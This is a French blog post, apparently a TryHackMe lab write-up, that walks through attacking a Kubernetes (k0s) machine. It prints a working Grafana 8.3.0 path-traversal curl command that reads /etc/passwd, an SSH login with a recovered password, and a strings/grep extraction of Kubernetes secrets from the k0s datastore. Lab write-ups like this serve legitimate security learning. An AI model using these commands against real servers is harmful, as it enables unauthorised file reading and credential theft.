Jâavouuuuuue que jâai peut-ĂȘtre un peu abusĂ© sur titre mdr. Mais maintenant que vous ĂȘtes lĂ , laissez-moi vous expliquer !
En passant la CKA (article dispo ici au passage), je me suis dit quâil serait intĂ©ressant de maĂźtriser non seulement l’usage de K8S, mais aussi les risques de sĂ©curitĂ© quâil peut prĂ©senter. Alors quoi de mieux que de se mettre dans la peau dâun H4CK3R
Pour ça, jâai trouvĂ© une Room sur TryHackMe :

âA kubernetes hacking challenge for DevOps/SRE enthusiastsâ
Ăa sonne bien ça non ? Allez, on met notre capuche (parce-que oui, les vrais hackers mettent leur capuches) et au boulot !
Je ne dĂ©taillerai pas le fonctionnement de TryHackMe. Ce nâest pas le but de lâarticle. Mais vous trouverez tout ce quâil faut ici
Let’s go ! đȘ
Task 1 : Access the cluster

Ok, la premiĂšre tĂąche nous demande d’accĂ©der au cluster et de trouver un username/password. Nous n’avons aucune information pour le moment. Je vous propose de lancer un scan nmap :
$ nmap -sC -sV -oN nmap/nmap.init 10.10.38.71
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
111/tcp open rpcbind 2-4 (RPC #100000)
3000/tcp open ppp?
5000/tcp open upnp?
Nous avons plusieurs ports ouverts. On va commencer par inspecter les ports 3000 et 5000. Le port 3000 est une instance Grafana en 8.3.0.

Le port 5000, lui, est un petit jeu en javascript :

Regardons si la version de Grafana a un exploit public avec une rapide recherche sur internet.
Boom đ„, en tapant *grafana 8.3.0 exploit* sur votre moteur de recherche prĂ©fĂ©rĂ©, on tombe rapidement sur un article detaillant cette faille.:
A présent, déroulons la procédure et confirmons que nous sommes bel et bien en v8.3.0 :
$ curl http://10.10.38.71:3000/login | grep "Grafana v"
[...SNIP...]"subTitle":"Grafana v8.3.0
(914fcedb72)","icon":"questioncircle","url":"#","sortWeight":-100}],
Câest confirmĂ© ! Essayons la commande de path traversal qui nous est donnĂ© dans lâarticle:
$ curl --path-as-is http://10.10.38.113:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/ash
[..SNIP..]
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:hereiamatctf907:/home/grafana:/sbin/nologin
Nous pouvons effectivement lire des fichiers (ici la liste des utilisateurs) ! Voyons voir si on peut avoir des infos plus croustillantes dans la configuration Grafana.
Je ne vais pas vous faire l’Ă©numĂ©ration ici, mais je n’ai rien trouvĂ© d’intĂ©ressant đ
Regardons maintenant le port 5000. Peut-ĂȘtre qu’il y a quelque chose Ă faire !En regardant le code source, on voit deux fichiers : main.css et script.js. Dans le fichier CSS on trouve un lien qui renvoie vers pastebin :
/* @import url("https://pastebin.com/cPs69B0y"); */
Si on se rend sur ce dernier, on a une chaĂźne qui semble ĂȘtre encodĂ©e (OZQWO4TBNZ2A====).
On peut essayer de la décoder avec Cyberchef :

Avec lâopĂ©ration âmagicâ on obtient vagrant, un potentiel username ?? đ€
Pour ce qui est du password je ne vous cache pas que j’ai biiiiiiiien galĂ©rĂ©, c’Ă©tait un peu du « guessing »…
Le champ gecos du user grafana que l’on peut voir dans le fichier /etc/passwd baaaaah… c’est ça… le mot de passe :’) Dâailleurs, pour ceux comme moi qui ne connaissent pas ce champ, en gros câest utilisĂ© pour stocker des informations supplĂ©mentaires sur l’utilisateur.
A prĂ©sent, il ne nous reste plus qu’Ă essayer de nous connecter en SSH avec la combinaison user/password que lâon vient de trouver :
$ ssh vagrant@10.10.38.113
[..SNIP..]
vagrant@10.10.38.113's password: hereiamatctf907
vagrant@johnny:~$
Nous avons enfin un pied dans la machine, passons Ă la suite ! đȘ
Task 2 : Your Secret Crush

Apparemment, on doit trouver un secret. Je vais commencer par faire une énumération avec LinPeas
Voici ce que j’ai trouvĂ© d’intĂ©ressant :
| Group | sudo, lxd, docker |
| Sudo Privileges | (ALL) NOPASSWD: ALL |
| Process running (ici k0s) | Â /var/lib/k0s/bin/kine — endpoint=sqlite:///var/lib/k0s/db/state.db |
| Fichiers executables | /usr/local/bin/k0s |
| Logs intéressants | Feb 10 18:55:15 vagrant sudo: root : TTY=unknown ; PWD=/home/vagrant ; USER=root ; COMMAND=/usr/local/bin/k0s kubectl create -f secret.yaml Feb 10 18:55:15 vagrant sudo: root : TTY=unknown ; PWD=/home/vagrant ; USER=root ; COMMAND=/usr/local/bin/k0s kubectl create ns internship |
Vu que l’on nous demande de trouver un secret, je pense qu’il peut ĂȘtre judicieux de regarder du cĂŽtĂ© de k0s (et puis vu le thĂšme de la room, ça ne me semble pas ĂȘtre une mauvaise idĂ©eâŠ)
On peut commencer par trouver le fichier secret.yaml. Mais avant, on a vu que l’on pouvait trÚÚÚÚs facilement passer root avec un simple sudo su (merci le (ALL) NOPASSWD: ALL). Maintenant, faisons la commande find pour tenter de trouver le fichier qui a potentiellement servi Ă crĂ©er le secret :
$ find / -type f -name "secret.yaml" 2>/dev/null
ça n’a rien donnĂ© đą, essayons de lister les secrets ?
$ sudo k0s kubectl get secret
The connection to the server localhost:6443 was refused - did you specify the right host or port?
Mmmmh, chelou, on obtient ce message… Regardons si le port 6443 est en Ă©coute :
$ ss -nltpu|grep 6443
Non, ce port n’est pas en Ă©coute… Pas grave, on va l’ouvrir, on active le firewall, avec ufw enable (dans le doute j’ai ouvert tout le trafic entrant et sortant sur l’interface eth0 sur le port 22)
$ ufw allow 6443/tcp
$ ufw allow 22/tcp
$ ufw allow in on eth0 to any
$ ufw allow out on eth0 to any
On active le firewall, avec ufw enable (dans le doute j’ai ouvert tout le trafic entrant et sortant sur l’interface eth0 sur le port 22). J’ai Ă©galement redĂ©marrĂ© k0s avec k0s stop et k0s start
A prĂ©sent j’ai bien mon port 6443 ouvert :
$ ss -nltpu|grep 6443
tcp LISTEN 6 128 *:6443 *:* users:(("kube-apiserver",pid=2863,fd=7))`
Mais k0s semble dans les choux, il est extrĂȘmement long et je n’ai plus de retour sur les commandes k0s status…
On ne va pas se laisser abattre, j’ai un plan B ! En regardant dans la doc k0s j’ai vu que l’on pouvait faire des backups. Ces derniers comprennent tout ce qu’il faut pour restaurer le cluster :
- certificates (the content of the <data-dir>/pki directory)
- etcd snapshot, if the etcd datastore is used
- Kine/SQLite snapshot, if the Kine/SQLite datastore is used
- k0s.yaml
- any custom defined manifests under the <data-dir>/manifests
- any image bundles located under the <data-dir>/images
- any helm configuration
Du coup, si l’on restaure tout ça sur un cluster que l’on contrĂŽle Ă 100% est-ce que ça pourrait le faire ? Jâen sais rien, mais jâai bien envie de le savoir !
Commençons par installer k0s. On va juste vĂ©rifier la version, histoire d’installer la mĂȘme :
vagrant@johnny:~$ sudo k0s version
v1.23.3+k0s.0
Ok, nous sommes en v1.23.3+k0s.0
Sur ma machine en local, on va faire la commande suivante pour l’installation :
$ curl -sSLf https://get.k0s.sh | sudo K0S_VERSION=v1.23.3+k0s.0 sh
Je ne vais pas vous faire attendre pour rien… câest un nouvel Ă©chec, ça n’a rien donnĂ©… đ
Je vous avoue, qu’Ă ce stade, j’Ă©tais un peu dĂ©sespĂ©rĂ©. Je me suis avouĂ© vaincu et j’ai regardĂ© le write-up. Je vois que je n’ai pas DU TOUT le mĂȘme scĂ©nario et que le cluster k0s est dans les choux alors qu’il ne devrait pas. En voyant ça, j’ai arrĂȘtĂ© la Room, tant pis. Elle n’est plus fonctionnelleâŠ
AprĂšs plusieurs mois, retournement de situation !!!! Je tombe sur ce replay de Devoxx France 2024 âBeyond the Pod: Privilege Escalation in Kubernetesâ. Durant ce talk Patrycja Wegrzynowicz nous montre plusieurs techniques de privilege escalation sur Kube. đ
Et Ă un moment, 33min44 pour ĂȘtre (trĂšs) prĂ©cis, Patrycja utilise la commande strings pour afficher le contenu ETDC. Et lĂ , ça fait tilt ! C’est ça qu’il faut que je fasse ! Du coup, je me suis remis sur la room ! On essaie ?
$ sudo strings /var/lib/k0s/db/state.db | grep registry/secrets
[..SNIP..]
/registry/secrets/default/k8s.authentication
/registry/secrets/kube-system/horizontal-pod-autoscaler-token-h6qr6
/registry/secrets/kube-system/generic-garbage-collector-token-q2m67
/registry/secrets/kube-system/expand-controller-token-6lsd6
/registry/secrets/kube-system/ephemeral-volume-controller-token-md4tn
[..SNIP..]
Avec le write-up (oui, on a un peu trichĂ©, mais câest pour la bonne cause, promis) on sait que le secret que lâon doit trouver est secrets/default/k8s.authentication. Maintenant, il faut voir son contenu. Pour ça rien de plus simple, on fait un grep sur k8s.authentication en affichant environ 10 lignes de plus aprĂšs le match :
$ sudo strings /var/lib/k0s/db/state.db | grep -A10 k8s.authentication
[..SNIP..]
/registry/secrets/default/k8s.authenticationk8s
Secret
k8s.authentication
default"
*$416e4783-03a8-4f92-8e91-8cbc491bf7272
kubectl-create
Update
FieldsV1:+
){"f:data":{".":{},"f:id":{}},"f:type":{}}B
THM{REDACTED}
Opaque
x/registry/daemonsets/kube-system/kube-router
apps/v1
[..SNIP..]
Ettttt bingooooooo, on arrive Ă chopper le FLAG ! đ„ł
Je vous avoue que j’Ă©tais hyper content d’avoir rĂ©ussi Ă dĂ©tourner le chemin initial ahah đ
Du coup, ça mâa clairement remotivĂ© Ă terminer ce challenge une bonne fois pour toute !! Alors on se donne rendez-vous la semaine pro pour la partie 2 ?

Comments are closed.